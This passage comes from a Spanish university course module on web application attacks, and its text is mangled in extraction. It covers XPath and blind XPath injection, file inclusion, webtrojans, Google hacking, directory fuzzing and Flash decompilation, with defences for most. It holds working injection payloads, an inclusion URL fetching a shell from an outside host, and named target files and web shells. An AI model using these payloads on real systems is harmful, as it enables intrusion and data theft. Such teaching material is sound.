ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

